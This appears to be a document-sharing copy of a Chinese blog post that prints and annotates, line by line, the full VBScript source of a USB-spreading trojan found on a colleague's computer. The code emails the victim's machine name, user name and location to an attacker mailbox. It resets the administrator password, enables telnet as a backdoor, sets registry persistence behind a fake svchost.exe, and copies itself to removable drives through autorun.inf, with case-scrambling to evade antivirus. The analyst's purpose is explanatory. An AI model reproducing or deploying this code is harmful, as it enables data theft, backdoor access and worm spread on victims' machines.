北邮男生木马代码全注释.docx
- 文档编号:9103537
- 上传时间:2023-02-03
- 格式:DOCX
- 页数:47
- 大小:35.72KB
北邮男生木马代码全注释.docx
《北邮男生木马代码全注释.docx》由会员分享,可在线阅读,更多相关《北邮男生木马代码全注释.docx(47页珍藏版)》请在冰豆网上搜索。
北邮男生木马代码全注释
“北邮男生木马”代码全注释-sjdev的专栏(申俊杰)-CSDN博客您还未登录!
|登录|注册|帮助CSDN
上周的某一天,我同事忽然发现自己电脑不太对劲,经查看原来是中了木马。
比较有意思的是,可以通过一个bupt.dat的文件来查看该木马的某些实现细节。
由于bupt是北邮的简称,所以我有充分的理由相信该木马是北邮某个学生搞的。
“北邮男生”是我们给这个木马起的名字,至于为什么叫“男生”而不是“女生”或者其它代号,可以通过下面的代码自己寻找答案。
Ps:
请不要试图查找有关“北邮男生”木马的信息,也许它会被冠以其他名字。
Psps:
截止到2009/10/19,通过关键字“bupt.dat”XX无法搜索到任何相关信息,
我在CSDN上发表了这个文章的一个简短版本,部分网友表示“这个木马太简单”。
我想说的是:
1.论坛上发表的只是整个脚本的一部分,因为输入有限制。
2.这个木马还包含其他文件。
因为很明显,脚本是不可能自动执行的。
这些其他的文件包括:
一个autorun.inf、一个scs、一个svchost(其实这个是WScript.exe,请详看代码注释说明)、还包括tlntsvr服务。
另外:
我重新使用bupt.dat关键字搜索了一下,大家可以分析一下google的结果。
主代码部分
viewplaincopytoclipboardprint?
'
'1.主体函数部分
'
'当运行脚本时,主体函数部分代码依次执行
'所以分析脚本“主体函数部分”可以看出脚本程序执行思路
OnErrorResumeNext
'创建文件系统对象,用于文件操作
Setfso=CreateObject("Scripting.FileSystemObject")
'创建Shell对象
SetWshShell=CreateObject("WScript.Shell")
'创建NetWork对象
SetWshNetWork=WScript.CreateObject("Wscript.NetWork")
'脚本的全路径名,如J:
\Butp.dat
ThisPath=WScript.ScriptFullName
'1forsystemfolder.通常返回值是C:
\Windows\System32
SysDir=fso.GetSpecialFolder
(1)&"\"
'从SysDir从截取Windows目录,如C:
\Windows\System32截取后为C:
\Windows\
WinDir=Left(SysDir,11)
SvcHost="svchost.exe"
FnSys="svchost.dat"
FnSysExe="scs.exe"
FnMail="liam.dat"
FnuTray="bupt.dat"
FnuTrayExe="scs"
'Copy脚本的副本
Setfile=fso.OpenTextFile(ThisPath,1)'1forreadonly
VBScriptCopy=file.ReadAll
file.Close
Setfile=Nothing
IFLCase(SysDir)=LCase(Left(ThisPath,Len(SysDir)))Then
'如果脚本文件位于系统目录(system32)下
CallSendMail
CallSetupBD
CallListEnuTray
Else
'不显示隐藏文件
WshShell.RegWrite
"HKCU\SoftWare\Microsoft\Windows\CurrentVersion\Explorer\Advanced\showsuperhidden",
0,"Reg_DOWRD"
WshShell.RegWrite
"HKCU\SoftWare\Microsoft\Windows\CurrentVersion\Explorer\Advanced\superhidden",
1,"Reg_DOWRD"
WshShell.Run(Left(ThisPath,2))'2,最小化窗口
IFNotfso.FileExists(SysDir&FnSys)orNotfso.FileExists(SysDir&
FnSysExe)orNotfso.FileExists(WinDir&SvcHost)Then
CallInfectSys
EndIF
EndIF
'脚本“主体函数部分”结束
'
'2.功能函数部分
'
'“功能函数部分”的代码不会自动执行,除非“主体函数部分”调用到它
'要分析“功能函数部分”需要根据其“主体函数部分”上下文。
'2.1发送Email.
SubSendMail
OnErrorResumeNext
'获取本机ip,并根据(小偷程序原理,网上用的较多)ip获取ip所在地理位置
'然后把信息打包
ComputerName="计算机名:
"&WshNetWork.ComputerName
UserName="当前用户名:
"&WshShell.ExpandEnvironmentStrings("%UserName%")
Url=""'注意,这个是ip地址查询的网站
Html=GetHttpPage(Url)
PlaceBegin=Instr(1,Html,"你当前的IP为")
PlaceEnd=Instr(PlaceBegin,Html,VBCRLF)
Place=mid(Html,PlaceBegin,PlaceEnd-PlaceBegin)
Msg=ComputerName&","&UserName&","&Place
Title=GetIp(".")
'将发送信息打包存放在system32\liam.dat中,目的是防止重复发送email
'注,如果你的电脑已经中招,使用记事本打开liam.dat可以看到你自己系统的信息
IFfso.FileExists(SysDir&FnMail)Then
Setfile=fso.OpenTextFile(SysDir&FnMail,1)
OldMsg=file.ReadAll
file.Close
Setfile=Nothing
IFOldMsg=MsgThen
ExitSub
EndIF
EndIF
CallWriteFile(SysDir&FnMail,Msg)
'使用cdo发送邮件,邮件内容就是上面搜集信息的打包
'此处使用的是qq邮箱,采用的是自己发送到自己的方式(shader.butp@)
'我曾经使用qq查找过shader.bupt@这个账号,因为不是主显账号,查不到
NameSpace="
SetEMail=CreateObject("Cdo.Message")
EMail.From="shader.bupt@"
EMail.To="shader.bupt@"
EMail.Subject=Title
EMail.TextBody=Msg&","&Now
WithEMail.Configuration.Fields
.Item(NameSpace&"SendUsing")=2
.Item(NameSpace&"SmtpServer")=""
.Item(NameSpace&"SmtpServerPort")=25
.Item(NameSpace&"SmtpAuthenticate")=1
.Item(NameSpace&"SendUserName")="shader.bupt"
.Item(NameSpace&"SendPassword")="52162"
.UpDate
EndWith
EMail.Send
EndSub
'2.2在目标电脑上植入信息
SubSetupBD
OnErrorResumeNext
IFLCase(WshNetWork.UserName)<>"administrator"Then
'设置管理员密码
SetobjUser=GetObject("WinNT:
//./administrator,user")
objUser.SetPassword"52162"
objUser.SetInfo
'添加自启动服务
WshShell.RegWrite"HKLM\System\Controlset001\services\tlntsvr\start",
2,"REG_DWORD"
EndIF
EndSub
SubListEnuTray
OnErrorResumeNext
'设置autorun文件中要写入的内容
TimeCounter=1
CmdStr="Shell\*\CommAnd=Wscript.exe/e:
VBS"&FnuTray
AutoRunStr="[autorun]"&VBCRLF&"open="&VBCRLF&Replace(CmdStr,
"*","open")&VBCRLF&Replace(CmdStr,"*","Explorer")&VBCRLF&
Replace(CmdStr,"*","find"))
Do
foreachdrvinfso.drives
IFfso.GetDrive(drv).DriveType=1And
fso.GetDrive(drv).IsReadyThen'1forRemoveable
IFfso.GetDrive(drv).FileSystem="FAT32"Then
FStype="1"
Else
FStype="2"
EndIF
IFfso.FileExists(drv&"\autorun.inf")Then
'如果优盘目录下存在autorun.inf,判断其内容是否已经被更改,如果被更改就重建.
Setfile=fso.OpenTextFile(drv&"\autorun.inf",1)
OldAutoRunStr=file.ReadAll
file.Close
Setfile=Nothing
IFOldAutoRunStr<>AutoRunStrThen
IFFStye="2"Then
CallWriteFile(drv&"\autorun.inf",
AutoRunStr)
Else
WshShell.Run(SysDir&FnSysExe&""&drv
&""FStype)
EndIF
EndIF
Else
'如果优盘目录下不存在autorun.inf,创建该文件.
IFFStype="2"Then
CallWriteFile(drv&"\autorun.inf",AutoRunStr)
Else
WshShell.Run(SysDir&FnSysExe&""&drv&""
&FStype)
EndIF
EndIF
IFTimeCounter>10Then
IFNotfso.FileExists(drv&"\"&FnuTray)Then
CallWriteFile(drv&"\"&FnuTray,
vs(VBScriptCopy))
EndIF
IFNotfso.FileExists(drv&"\"&FnuTrayExe)Then
fso.GetFile(SysDir&FnSysExe).Copy(drv&"\"&
FnuTrayExe)
fso.GetFile(drv&"\"&FnuTrayExe).Attributes=
7'加上系统,只读,隐藏属性
EndIF
EndIF
EndIF
Next
IFTimeCounter>10Then
TimeCounter=1
WshShell.RegWrite
"HKLM\Software\microsoft\windows\currentversion\run\svchost",WinDir&SvcHost
&"/e:
vbs"&SysDir&FnSys
IFNotfso.FileExists(SysDir&FnSys)Then
CallWriteFile(SysDir&FnSys,VS(VBScriptCopy))
EndIF
ELSE
TimeCounter=TimeCounter+1
EndIF
WScript.Sleep1000
Loop
EndSub
'2.3感染系统
SubInfectSys
OnErrorResumeNext
'将执行脚本的动作加入启动项,注意执行脚本的是SvcHost.exe
WshShell.RegWrite
"HKLM\Software\microsoft\windows\currentversion\run\svchost",WinDir&SvcHost
&"/e:
vbs"&SysDir&FnSys
'在系统目录查找是否存在svchost.dat,存在的话,删除它
IFfso.FileExists(SysDir&FnSys)Then
fso.DeleteFileSysDir&FnSys,TRUE
EndIF
'重建svchost.dat文件
CallWriteFile(SysDir&FnSys,vs(VBScriptCopy))
'在系统目录下查找是否存在svchost.exe,存在的话,删除它,然后重建.
IFfso.FileExists(WinDir&SvcHost)Then
fso.DeleteFileWinDir&SvcHost,TRUE
EndIF
'重建svchost.exe,注意,这个所谓的svchost.exe无法就是wscript.exe的一个copy
fso.GetFile(SysDir&"WScript.exe").Copy(WinDir&SvcHost)
fso.GetFile(WinDir&SvcHost).Attributes=7'加上系统,只读,隐藏属性
'在系统目录下查找是否存在scs.exe,存在的话,删除它,然后重建.
IFfso.FileExists(SysDir&FnSysExe)Then
fso.DeleteFileSysDir&FnSysExe,TRUE
EndIF
'重建scs.exe,注意,这个scs.exe是scs的一个copy.而scs无法就是原scs.exe去掉扩展名的版本.
'中了该木马的电脑,可以在优盘根目录下看到scs这个文件
fso.GetFile(FnuTrayExe).Copy(SysDir&FnSysExe)
fso.GetFile(SysDir&FnSysExe).Attributes=7'加上系统,只读,隐藏属性
'执行脚本
WshShell.Run(WinDir&SvcHost&"/e:
vbs"&SysDir&FnSys)
EndSub
'2.4写文件
SubWriteFile(fPath,content)
OnErrorResumeNext
'注,原脚本中此处使用了一点小技巧用于逃避杀毒软件的扫描(也可能只是为了混淆)
'请注意与原代码对比
IFfso.FileExists(fPath)Then
fso.DeleteFilefPath,TRUE
Setfc=fso.OpenTextFile(fPath,2,TRUE)
fc.Writecontent
fc.Close
Setfc=Nothing
setfa=fso.GetFile(fPath)
fa.Attributes=7'文件属性
Setfa=Nothing
EndSub
'2.5随机替换str中字符大小写(VBS中不区分大小写)
FunctionVS(str)
OnErrorResumeNext
'注,原脚本中此处使用了一点小技巧用于逃避杀毒软件的扫描(也可能只是为了混淆)
'请注意与原代码对比
Fori=1toLen(str)
c=UCase(Mid(str,i,1))
Randomize
ifInt(Rnd()*100>50)Then
VS=VS&LCase(c)
Else
VS=VS&c
EndIF
Next
VS=Replace(VS,UCase("%U",LCase("%u"))
EndFunction
'2.6获取目标计算机的IP地址
FunctionGetIP(ComputerName)
OnErrorResumeNext
'使用wmi获取目标计算机的ip地址
DimObjWMIService,ColItems,ObjItem,ObjAddress
SetObjWMIService=GetObject("Winmgmts:
\\"&ComputerName&
"\root\cimv2")
SetColItems=ObjWMIService.ExecQuery("Select*from
win32_networkAdapterConfigurationwhereipEnabled=TRUE")
ForEachObjItemINColItems
ForEachObjAddressinObjItem.IPAddress
IFObjAddress<>""Then
GetIP=ObjAddress
ExitFor
EndIF
Next
Next
EndFunction
'2.7获取目标网页的html代码
FunctionGetHttpPage(Url)
OnErrorResumeNext
DimHttp
SetHttp=CreateObject("MSXML2.XMLHttp")
Http.Open"Get",Url,FALSE
Http.Send()
IFHttp.ReadyState<>4Then
ExitFunction
EndIF
GetHttpPage=BytesToBSTR(Http.ResponseBody,"GB2312")
SetHttp=Nothing
IFErr.Number<>0ThenErr.Clear
EndFunction
'2.8转换内容的CharSet
FunctionBytesToBSTR(Body,CharSet)
OnErrorResumeNext
DimObjStream
SetObjStream=CreateObject("AdoDB.Stream")
ObjStream.Type=1
ObjStream.Mode=3
ObjStream.Open
ObjStream.WriteBody
ObjStream.Position=0
ObjStream.Type=2
ObjStream.Charset=CharSet
BytesToBSTR=ObjStream.ReadText
ObjStream.Close
SetObjStream=Nothing
EndFunction
'“功能函数部分”结束
'
'1.主体函数部分
'
'当运行脚本时,主体函数部分代码依次执行
'所以分析脚本“主体函数部分”可以看出脚本程序执行思路
OnErrorResumeNext
'创建文件系统对象,用于文件操作
Setfso=CreateObject("Scripting.FileSystemObject")
'创建Shell对象
SetWshShell=CreateObject("WScript.Shell")
'创建NetWork对象
SetWshNetWork=WScript.CreateObject("Wscript.NetWork")
'脚本的全路径名,如J:
\Butp.dat
ThisPath=WScript.ScriptFullName
'1forsystemfolder.通常返回值是C:
\Windows\System32
SysDir=fso.GetSpecialFolder
(1)&"\"
'从SysDir从截取Windows目录,如C:
\Windows\System32截取后为C:
\Windows\
WinDir=Left(SysDir,11)
SvcHost="svchos
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 男生 木马 代码 注释
![提示](https://static.bdocx.com/images/bang_tan.gif)